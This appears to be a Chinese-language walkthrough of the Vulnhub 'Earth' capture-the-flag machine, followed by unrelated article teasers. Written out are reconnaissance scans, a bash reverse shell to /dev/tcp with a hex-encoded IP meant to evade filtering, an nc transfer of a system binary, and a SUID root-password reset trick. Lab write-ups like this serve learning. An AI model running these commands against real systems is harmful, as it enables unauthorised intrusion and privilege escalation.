The Planets: Earth-Vulnhub靶场

news/2024/7/5 8:41:08

下载靶机:下载地址
下载后直接在vm打开,把靶机和kali网络配置成NAT模式。
开启靶机,查看MAC地址。
在这里插入图片描述
打开kali使用命令arp-scan -l查看靶机ip:192.168.195.132
在这里插入图片描述

nmap -A 192.168.195.132

查看开放的端口,能看到打开了80和443端口,443端口还有两个DNS地址
在这里插入图片描述
尝试查看ip页面,发现什么也没有,这里需要把两条DNS地址写到hosts文件里
需要用到命令vim /etc/hosts进入后点i开始编辑,添加完成后点esc退出,最后输入:wq保存并退出
在这里插入图片描述
cat /etc/hosts查看编辑后的host
访问https://earth.local与https://terratest.earth.local
在https://earth.local最下面发现了三段加密信息
在这里插入图片描述
另外一个没有发现什么有用的信息。

dirb https://earth.local/
dirb https://terratest.earth.local/

扫描两个站点目录
在这里插入图片描述
访问https://earth.local/admin/login 是一个登录地址
在这里插入图片描述
访问https://terratest.earth.local/robots.txt 发现一个比较特别的
Disallow: /testingnotes.* 尝试后发现是一个testingnotes.txt,查看得到相应提示
在这里插入图片描述
翻译一下
在这里插入图片描述
得到一些信息,三段信息可能使用的是XOR算法进行的加密,曾经发送过信息,存在一个txt的测试加密,可以通过这个txt获得加密方式,用户名是terra,密码目前未知。访问testdata.txt
在这里插入图片描述

使用网站https://gchq.github.io/CyberChef/ 可以解出3段密码
也可以写脚本,这里我用的是网站:先将previous message从16进制数转化为UTF-8,再与message进行XOR运算,message就是testdata.txt的内容,XOR运算也使用UTF-8编码
把testdata.txt的内容写到XOR的key中,第三段解出了需要的东西,查看发现是重复的内容,可能是登陆密码
在这里插入图片描述
尝试登录
在这里插入图片描述
尝试输入一些命令ls,发现可以执行,尝试反弹shell

bash -i >& /dev/tcp/192.168.195.128/1234 0>&1  

发现不能用,上网搜索后知道了这里要把ip进行16进制编码

bash -i >& /dev/tcp/0xc0.0xa8.0xc3.0x80/1234 0>&1    

在这里插入图片描述
使用find命令查找一下flag

find / -name "*flag.txt"

在这里插入图片描述
查看可以得到user_flag
现在只有网站权限,尝试提权到root先看下suid有些什么信息,看到这个命令

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
使用这个命令,看到一条信息:大概意思是修改root密码为Earth
在这里插入图片描述
尝试执行reset_root提示触发器不存在,

在这里插入图片描述
由于靶机没有ltrace,所以将/usr/bin/reset_root传到本地分析

kali攻击机监听2222端口,并将接收到的内容重定向到文件reset_root

nc -lvvp 2222 > reset_root

靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口

nc 192.168.124.129 2222 < /usr/bin/reset_root

在这里插入图片描述
可以看出会检查触发器是否存在为条件,这里就是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe这3个文件夹都需要存在

那么在靶机上创建这三个文件夹,再执行reset_root,成功重置root密码为Earth
在这里插入图片描述
这里可以登录拿到flag
在这里插入图片描述


http://lihuaxi.xjx100.cn/news/58082.html

相关文章

淘宝怎么进行补单?流程是什么?

淘宝怎么进行补单?流程是什么? 对于淘宝商家来说&#xff0c;需要好好的打好店铺的基础&#xff0c;为了能够做得更好&#xff0c;很多的淘宝商家们都会去补单。当然淘宝店铺补单都是有一定的技巧的&#xff0c;那么淘宝商家们如何去进行补单呢?下面进行介绍。 淘宝怎么进…

Nginx反向代理和负载均衡实战

004_Nginx实现反向代理负载均衡_哔哩哔哩_bilibili 准备两台服务器&#xff0c;每台安装tomcat。 准备一台服务器&#xff0c;安装nginx,未配置时&#xff0c;访问nginx&#xff0c;打开了index.html页面 配置upstream name{}这里name随便起&#xff0c;为集群的名字。 在lo…

Lesson 15 Good news 佳音

1.原文 2. 参考译文 3. New words and expressions Secretary/secret n. 秘密 ★nervous adj. 精神紧张的 ① adj. 神经质的&#xff0c;神经紧张的 She is a nervous woman. Do you see that nervous smile on her face?② 紧张的&#xff0c;担心的&#xff0c;情绪不安的…

假如面试官要你手写一个promise

promise 在开发中&#xff0c;经常需要用到promise&#xff0c;promise具有很多特性&#xff0c;这一次将对promise特性进行总结&#xff0c;并从零写一个promise。 步骤一 Promise特点 1&#xff0c;创建时需要传递一个函数&#xff0c;否则会报错2&#xff0c;会给传入的函…

《测绘综合能力》——大地测量

欢迎访问《注册测绘师考试知识》系列。《测绘综合能力》 大地测量 部分重要(常考)知识点(精简版)如下: 目录 1 大地测量参考系统与框架2 大地测量常数3 建立参心坐标系4 建立地心坐标系5 高程基准6 正常高7 深度基准8 重力系统与框架9 时间系统与框架10 三差改正(地面→椭…

gamma校正

伽玛校正&#xff08;Gamma Correction&#xff09;校正的目的输入转至线性空间输出前进行校正衰减校正的目的 保证所有的输入都转换到线性空间&#xff0c;并在线性空间下做各种光照计算&#xff08;线性空间进行操作&#xff09;&#xff0c;最后输出通过gamma校正后进行显示…

vue2初学1-37

vue是什么 是一套用于构建用户界面&#xff08;将数据变成界面&#xff09;的渐进式框架。与其它大型框架不同的是&#xff0c;Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层&#xff0c;不仅易于上手&#xff0c;还便于与第三方库或既有项目整合。另一方面&…

笔试强训(十七)

目录一、选择题二、编程题2.1 杨辉三角的变形2.1.1 题目2.1.2 题解2.2 计算字符出现的次数2.2.1 题目2.2.2 题解一、选择题 &#xff08;1&#xff09;下列SQL语句中哪条语句可为用户zhangsan分配数据库userdb表userinfo的查询和插入数据权限&#xff08;A&#xff09; A.gran…